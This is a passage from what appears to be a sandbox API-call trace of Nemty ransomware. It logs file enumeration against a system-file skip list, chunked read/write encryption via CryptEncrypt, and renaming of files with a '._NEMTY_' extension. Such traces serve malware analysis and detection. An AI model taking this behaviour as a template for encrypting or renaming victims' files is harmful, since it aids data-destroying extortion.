lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.679] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.689] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.689] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.689] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.698] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.698] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.698] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.698] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.707] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.707] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.716] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.716] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.716] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.725] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.725] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.725] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.734] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.734] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.744] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.744] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.753] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.753] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.762] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.762] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.762] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.762] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.771] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.771] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.771] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.771] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.783] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.783] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.783] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.783] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.789] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.789] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.789] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.790] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0072.790] CloseHandle (hObject=0xffffffff) returned 0 [0072.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0072.790] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0072.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0072.790] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0072.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0072.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0072.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0072.790] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x63401b8 [0072.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0072.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0072.790] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png._nemty_kgobjgd_")) returned 0 [0072.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0072.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0072.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0072.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0072.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0072.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0072.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0072.790] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0072.790] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ddc950f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8232c, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Scene_loop.wmv", cAlternateFileName="")) returned 1 [0072.790] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2=".") returned 1 [0072.790] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="..") returned 1 [0072.790] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="...") returned 1 [0072.790] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="windows") returned -1 [0072.790] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="$RECYCLE.BIN") returned 1 [0072.790] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="rsa") returned 1 [0072.790] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="NTDETECT.COM") returned 1 [0072.791] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="ntldr") returned 1 [0072.791] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="MSDOS.SYS") returned 1 [0072.791] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="IO.SYS") returned 1 [0072.791] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="boot.ini") returned 1 [0072.791] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="boot.ini") returned 1 [0072.791] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0072.791] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="ntuser.dat") returned 1 [0072.791] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="desktop.ini") returned 1 [0072.791] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="CONFIG.SYS") returned 1 [0072.791] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="RECYCLER") returned 1 [0072.791] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="BOOTSECT.BAK") returned 1 [0072.791] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="bootmgr") returned 1 [0072.791] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="programdata") returned 1 [0072.791] lstrcmpiW (lpString1="Scene_loop.wmv", lpString2="appdata") returned 1 [0072.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0072.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scene_loop.wmv", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0072.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scene_loop.wmv", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scene_loop.wmv", lpUsedDefaultChar=0x0) returned 14 [0072.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0072.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scene_loop.wmv", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0072.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scene_loop.wmv", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scene_loop.wmv", lpUsedDefaultChar=0x0) returned 14 [0072.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0072.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0072.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0072.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scene_loop.wmv", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0072.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scene_loop.wmv", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scene_loop.wmv", lpUsedDefaultChar=0x0) returned 14 [0072.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0072.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0072.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scene_loop.wmv", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0072.791] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scene_loop.wmv", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scene_loop.wmv", lpUsedDefaultChar=0x0) returned 14 [0072.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0072.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0072.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0072.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0072.791] Sleep (dwMilliseconds=0x5) [0072.803] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdf0a75d0, dwHighDateTime=0x1d561e7)) [0072.803] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdf0a75d0, dwHighDateTime=0x1d561e7)) [0072.803] GetLastError () returned 0x5 [0072.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0072.803] GetLastError () returned 0x5 [0072.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0072.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0072.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0072.803] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0072.803] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0072.803] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0072.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0072.803] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="CRs6EImhZzBZzrnT3vvp+IMsn74Qhr89LwySNasoV0YfZ3Uip9xcgxpMFn9Hy/HC\r\n+0gbxChS+clZ1CF0vuRdR2GGxyDVc8DAI0NlldAlUEhayDco/WF1xszmwc6G6aNP\r\n3a/abcpECaS5im4DfTagVb696lrKi9BvyLG1qFrSN3dsKuK786aSUAsmy6We5WIT\r\nYTnb0NjBuxFTzOD6GU/X27o45exNqB+ozh0/qcsQdK+73GgcTpDDUTiLTZxs7e95\r\nhD2SjnCAcjWSdwkLVJV+4RGh59b7qHs6YYoQGLmUnBF8DQydNXswMl1VjL1bH7Py\r\nyRcPjtUw49I35OeaMRHFAw==\r\n", pcchString=0x653e91c) returned 1 [0072.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0072.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0072.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0072.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0072.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0072.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0072.804] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0072.804] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0072.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0072.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.804] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.813] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.813] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.823] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.823] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.832] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.832] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.841] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.841] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.841] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, 